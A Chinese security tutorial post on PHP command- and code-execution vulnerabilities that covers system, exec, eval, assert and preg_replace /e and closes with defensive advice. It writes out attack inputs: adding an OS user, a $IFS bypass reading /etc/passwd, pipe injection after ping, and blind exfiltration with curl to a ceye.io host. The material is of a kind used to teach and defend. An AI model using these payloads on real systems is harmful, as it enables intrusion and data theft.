在php里面找出有用的代码,见面礼!精讲php代码执行与命令执行漏洞

文本独家广告赞助商:安全龙

2013年申请的公众号,现在换了主体,并升级为服务号;5年之痒。创业就是坚定的目标,不断革新。只要与发展有关,就要不惜割掉旧的所谓积累,寻找跟好的路径。更像是在航海啊。

新的安全龙公众号ID:safe443

正文

代码执行与命令执行这两个漏洞的原理都差不多,还是分开来说。

首先命令执行,比如系统的一些功能需要调用一些执行系统相关的函数时,但是对这些函数的传值没有过滤及防范,就造成了命令执行,我们来看看,在php中能执行命令的一些函数

system ,exec ,shell_exec,passthru,popen,proc_popen 等。

system() 输出并返回最后一行shell结果。

exec()   不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。

passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。

popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针

我们演示system函数来写一些演示代码

127237933_1_2018031508055393

这里使用GET请求接收了一个test参数,并且给了system函数进行执行命令

127237933_2_20180315080553171

所以说,我们只要在参数后面传值,那么代码就会执行,这里执行的是系统的命令,比如whoami,ipconfig,net user,set等等。

shell_exec以及其他函数同理

127237933_3_20180315080553312

执行ipconfig

127237933_4_20180315080553390

那么,我们可以用这个漏洞做什么?1 用等同于web的权限执行文件读写

使用echo xxx > xxx.xxx  win下 type xxx.txt  linux下 more xxx.txt

2用户的添加删除

net user xx xx /add

3 反弹shell

有时候,代码会进行各种各样的过滤,看一下过滤了什么,可以参考一些大佬的姿势。比如不能使用空格,可以使用 $IFS绕过   cat$IFS'/etc/passwd'

比如必须要用户输入ping,那么可以使用|   ping 127.0.0.1|whoami

比如无回显,那么久可以试试curl 到ceye上  curl xxx.ceye.io/`pwd`

那么一般测试中,这类漏洞会出现在哪里?

搜索处、一些在线编译器的执行中等

挖一些代码的话,就直接搜索命令执行相关的函数,然后跟踪一下变量的传入,以及执行等相关操作。

再来说代码执行,常见的函数eval,assert,

127237933_5_20180315080553468

执行phpinfo()

127237933_6_20180315080553593

和命令执行差不多,

这里看一下

preg_replace函数

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码

这个函数可以执行代码,但是需要配合/e

127237933_7_20180315080553749

第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,这个很有意思。

通常这类漏洞挖起来,都是找相关敏感的函数,然后分析是否可以利用。

在旧版本的phpcms中,有一个string2array函数

127237933_8_20180315080553921

然后找到调用

127237933_9_2018031508055446

可以看到$data_arr是一个数组,他的键是通过post传进来的radio,没有进行额外的操作就insert进了数据库

相关的防御

必须使用eval的地方,一定严格处理用户数据

字符串使用单引号包括可控代码,尽量避免双引号以及反引号,插入前使用addslashes转义

放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换

作者历史稿件:

文章版权说明:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值